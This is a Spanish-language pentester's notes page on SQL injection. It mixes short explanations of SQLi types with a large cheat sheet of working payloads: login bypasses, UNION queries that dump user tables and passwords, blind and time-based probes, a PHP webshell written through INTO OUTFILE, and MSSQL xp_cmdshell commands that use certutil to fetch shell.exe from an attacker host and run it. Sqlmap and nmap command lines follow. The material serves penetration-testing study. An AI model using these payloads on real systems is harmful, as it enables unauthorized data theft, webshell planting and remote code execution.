Las notas de R4z0r
YoutubeLinkedInConóceme
  • Bienvenido a las notas de R4z0r
  • Web App Pentest
    • Directory traversal / Path Traversal
    • Local File Inclusion (LFI)
    • Remote File Inclusion (RFI)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • Unrestricted File Upload
    • SQL/NoSQL Injection
      • SQL Injection
      • NoSQL Injection
    • Broken Access Control (BAC)
    • Insecure Direct Object Reference (IDOR)
    • User Enumeration
    • Sensitive Cookies Missing security attributes
    • Weak Password Policy
    • Use of GET Request Method With sensitive Query Strings
    • Insufficient Protection Against Brute Forcing
    • Unverified Password Change
  • LLM Hacking
    • Prompt Injection
    • Sensitive Information Disclosure
    • Supply Chain Vulnerabilities
    • Training Data Poisoning
    • Insecure Output Handling
    • Excessive Agency
    • Model Denial of Service (DoS)
    • Insecure Plugin Design
    • Overreliance
    • Misinformation
    • System Prompt Leakage
  • External Pentest
  • Internal Pentest
  • Mobile Pentest
  • Cloud Pentest
  • API Pentest
  • PortSwigger Labs
    • LLM Attacks
Con tecnología de GitBook
En esta página
  • Definición
  • Definiciones importantes
  • Cómo funciona una SQL Injection:
  • Tipos de SQLi:
  • Comandos básicos
  • Payloads
  • SQLMap
  • Payloads
  • Nmap
  • Casos Reales - Pentest
  • Referencias
  1. Web App Pentest
  2. SQL/NoSQL Injection

SQL Injection

Definición

SQL Injection (SQLi) es una vulnerabilidad que ocurre cuando una aplicación web permite que un usuario envíe entradas sin la debida validación en una consulta SQL. Esto permite a un atacante insertar o "inyectar" código malicioso en la consulta, lo que puede otorgarle acceso no autorizado a la base de datos, robar, modificar, eliminar datos o incluso conseguir acceso remoto.

Definiciones importantes

DBMS (Database Management System) - Sistema de Gestión de Bases de Datos:

Un DBMS es un software que permite crear, gestionar y manipular bases de datos. Su función principal es almacenar datos de manera estructurada y permitir que los usuarios o aplicaciones interactúen con esos datos de manera eficiente. Algunos ejemplos comunes de DBMS son MySQL, PostgreSQL, SQL Server (MSSQL) y Oracle.

DBS (Database System) - Sistema de Base de Datos:

Un DBS es el conjunto de la base de datos junto con el DBMS que la administra. Es decir, el DBS es el sistema completo que incluye tanto la base de datos como el software que gestiona y organiza los datos.

Consultas SQL (SQL Queries):

Una consulta SQL es una instrucción escrita en SQL (Structured Query Language) que se utiliza para interactuar con una base de datos. Las consultas SQL permiten a los usuarios realizar operaciones como leer, insertar, actualizar o eliminar datos en la base de datos. Algunos ejemplos de consultas SQL son:

  • SELECT: Recupera datos de una base de datos.

    SELECT * FROM usuarios WHERE id = 1;
  • INSERT: Inserta nuevos datos en la base de datos.

    INSERT INTO usuarios (nombre, email) VALUES ('Juan', 'juan@example.com');
  • UPDATE: Modifica datos existentes en la base de datos.

    UPDATE usuarios SET nombre = 'Carlos' WHERE id = 1;
  • DELETE: Elimina datos de la base de datos.

    DELETE FROM usuarios WHERE id = 1;

Cómo funciona una SQL Injection:

Un SQL Injection ocurre cuando una aplicación web permite que los usuarios envíen datos sin una validación adecuada, y esos datos se incluyen directamente en una consulta SQL. Esto permite que un atacante inyecte código malicioso en la consulta SQL, que luego es ejecutado por el servidor de bases de datos.

Ejemplo sencillo de SQLi:

Supón que una aplicación web tiene un formulario de inicio de sesión que pregunta por el nombre de usuario y la contraseña. La consulta SQL para verificar las credenciales podría verse algo así:

SELECT * FROM usuarios WHERE usuario = 'usuario' AND contrasena = 'contrasena';

Si un atacante ingresa en el campo de usuario algo como:

' OR '1'='1

La consulta SQL resultante sería:

SELECT * FROM usuarios WHERE usuario = '' OR '1'='1' AND password = 'password';

El '1'='1' es siempre verdadero, por lo que la consulta se ejecutaría con éxito, incluso si la contraseña es incorrecta, permitiendo al atacante acceder al sistema.

Tipos de SQLi:

Existen varios tipos de SQL Injection que se basan en cómo se manipula la consulta SQL:

In-band SQLi (SQLi Clásica)

La In-band SQLi es la forma más común y fácil de explotar. El atacante puede usar el mismo canal de comunicación para lanzar el ataque y obtener resultados. Se divide en dos tipos:

  • Error-based SQLi: El atacante aprovecha los mensajes de error generados por el servidor de base de datos para obtener información sobre la estructura de la base de datos. A veces, solo con los errores se puede enumerar toda la base de datos.

  • Union-based SQLi: El atacante usa el operador UNION para combinar los resultados de múltiples consultas SQL y obtener datos de otras tablas en la base de datos.

Inferential SQLi (Blind SQLi)

La SQLi Inferencial es más difícil de explotar porque no se transfieren datos directamente, pero es igual de peligrosa. El atacante envía cargas útiles y observa las respuestas del servidor web para inferir la estructura de la base de datos. Se divide en dos tipos:

  • Blind-boolean-based SQLi: El atacante envía una consulta SQL que devuelve un resultado verdadero o falso dependiendo de la consulta. Si el resultado es verdadero o falso, el contenido en la respuesta HTTP cambia.

  • Time-based Blind SQLi: Similar al anterior, pero aquí el atacante induce una demora en la respuesta de la base de datos. El tiempo de respuesta indica si la consulta fue verdadera o falsa.

Out-of-band SQLi

Out-of-band SQLi es menos común porque depende de funciones específicas habilitadas en el servidor de base de datos. En este tipo de ataque, el atacante no puede usar el mismo canal para obtener los resultados, y la técnica se basa en que el servidor de base de datos haga solicitudes DNS o HTTP a un servidor controlado por el atacante, lo que le permite recibir los resultados.

Resumen

  • In-band SQLi: El ataque y la obtención de datos ocurren en el mismo canal de comunicación (comúnmente mediante errores o consultas combinadas).

  • Inferential SQLi (Blind SQLi): No se reciben resultados directos, pero el atacante puede inferir información observando las respuestas del servidor.

  • Out-of-band SQLi: El atacante depende de las funciones del servidor de base de datos que permiten realizar solicitudes externas, como DNS o HTTP, para recibir los resultados.

Comandos básicos

MySQL:

mysql -u root -p'root' -h 127.0.0.1 -P 3306
select version();
select system_user();
show databases;
SELECT user, password FROM mysql.user WHERE user = 'razor';

MSSQL

// -windows-auth para forzar la autenticación ntlm.

impacket-mssqlclient Administrator:LabRazor@192.168.50.10 -windows-auth
impacket-mssqlclient htb.local/sa:'GWE3V6123451234rQ'@10.10.10.59
SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM offsec.information_schema.tables;
select * from offsec.dbo.users;
select * from offsec.dbo.sysusers;

Payloads

MySQL - bypass autenticación

offsec' OR 1=1 -- //

' or 1=1 in (select @@version) -- //
' OR 1=1 in (SELECT * FROM users) -- //
' or 1=1 in (SELECT password FROM users) -- //
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //

// lista para bypases de login en mysql - máquina cockpit proving
/usr/share/wordlists/seclists/Fuzzing/Databases/MySQL-SQLi-Login-Bypass.fuzzdb.txt

'OR '' = '

//The ultimate SQL Injection payload
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

MySQL - Union Based

Para que los ataques UNION SQLi funcionen, primero debemos satisfacer dos condiciones:

  • La consulta UNION inyectada debe incluir la misma cantidad de columnas que la consulta original.

  • Los tipos de datos deben ser compatibles entre cada columna.

// Determinar número de columnas, order by ordena los resultados por una columna específica, lo que significa que fallará siempre que la columna seleccionada no exista

' ORDER BY 1-- //

// Al aumentar el valor de la columna en uno cada vez, descubriremos que la tabla tiene cinco columnas, ya que ordenar por la columna seis devuelve un error. 
// Como queremos recuperar todos los datos de la tabla de clientes , usaremos el signo de porcentaje seguido de una comilla simple para cerrar el parámetro de búsqueda. Luego, comenzamos nuestra consulta inyectada con una declaración UNION SELECT que volca el nombre de la base de datos actual, el usuario y la versión de MySQL en la primera, segunda y tercera columnas, respectivamente, dejando las dos restantes nulas.

' UNION SELECT database(), user(), @@version, null, null -- //
' UNION SELECT null, null, database(), user(), @@version  -- //
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
' UNION SELECT null, username, password, description, null FROM users -- //

Pasito a pasito más entendible:

// determinar columnas

' order by 3-- -

// listar bases de datos
'union select null,schema_name from information_schema.schemata-- -

// enumerar todas las tablas de todas las bases de datos
'union select null,table_name from information_schema.tables-- -

// enumerar todas las tablas de la base de datos public, este nombre la sacamos de la consulta para listar todas las bases de datos
'union select null,table_name from information_schema.tables where table_schema = 'public'-- -

// listar las columnas de la bd public cuya tabla es users
'union select null,column_name from information_schema.columns where table_schema = 'public' and table_name = 'users'-- -

// listar datos, en este caso la tabla users está así pq la base de datos actual está seleccionada "public", en caso de que no, se pone public.users, nombrebd.tabla
'union select username,password from users-- - 

// listar datos concatenando
' union select null,group_concat(username,':',password) from users-- -

' union select null,username||':'||password from users-- -
' union select null,concat(username,':',password) from users-- -

Blind SQLi - Boolean based

// Dado que 1=1 siempre será VERDADERO, la aplicación devolverá los valores solo si el usuario está presente en la base de datos. Usando esta sintaxis, podríamos enumerar toda la base de datos para otros nombres de usuario o incluso extender nuestra consulta SQL para verificar datos en otras tablas.

http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //

Time Based

Logramos el mismo resultado con la siguiente consulta: agregamos una condición IF que siempre será verdadera dentro de la declaración misma, pero devolverá falsa si el usuario no existe.

http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //

MySQL RCE

Ejemplo 1: Subiendo una shell PHP

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/shell.php" -- //   
-> "http://target-server/shell.php?cmd=[command]"

Ejemplo 2: Leyendo el “etc/passwd” 
' UNION SELECT load_file('/etc/passwd') #

MSSQL RCE

impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth 
SQL>EXECUTE sp_configure 'show advanced options', 1; 
SQL>RECONFIGURE; SQL>EXECUTE sp_configure 'xp_cmdshell', 1; 
SQL>RECONFIGURE; SQL>EXECUTE xp_cmdshell 'whoami';


// si tenemos una sql en un login o algo similar
' ; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--  
' ; EXEC xp_cmdshell 'certutil -urlcache -f http://ipkali/shell.exe C:\Windows\Temp\shell.exe';--  
' ; EXEC xp_cmdshell 'C:\Windows\Temp\shell.exe';--

SQLMap

Definiciones importantes:

Risk:

  • Risk 1 (por defecto): No supone ningún riesgo para la mayoría de las inyecciones sql, las técnicas empleadas no son invasivas y no alteran las bases de datos existentes.

  • Risk 2: Incluye inyecciones basadas en retardos de manera agresiva, lo que puede afectar a la disponibilidad de las bases de datos.

  • Risk 3: Incluye inyecciones OR que pueden llegar a forzar la actualización de las bases de datos, modificando sus contenidos.

Level:

Define el nivel de pruebas a realizar. Hay cinco niveles, siendo 1 el valor por defecto (pruebas limitadas). El nivel 5 realiza pruebas más exhaustivas con una mayor cantidad de cargas útiles y parámetros SQL. A medida que sube el nivel, SQLMap prueba más parámetros como GET, POST, Cookies y encabezados HTTP (como User-Agent). Se recomienda aumentar el nivel si la inyección es difícil de detectar.

Delay:

Segundos por cada solicitud

Payloads

// esta la uso en auditorías realeas, si es posible con risk 1 mejor, desde docker
sqlmap -r sqli --level 2 --risk 2 --dbs --proxy="http://host.docker.internal:8080" --delay=1 --dbms=mssql --random-agent --batch

// sin docker
sqlmap -r sqli --level 2 --risk 2 --dbs --proxy="127.0.0.1:8080" --delay=1 --dbms=mssql --random-agent --batch

Nmap

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER,ms-sql-xp-cmdshell.cmd='whoami' -sV -p 1433 -iL mssql-ips.txt

Casos Reales - Pentest

Se viene pronto.......

Referencias

AnteriorSQL/NoSQL InjectionSiguienteNoSQL Injection

Última actualización hace 3 meses

https://portswigger.net/web-security/sql-injection#what-is-sql-injection-sqli
https://deephacking.tech/introduccion-sql-injection/
https://highon.coffee/blog/sqlmap-cheat-sheet/
https://github.com/sqlmapproject/sqlmap/wiki/Usage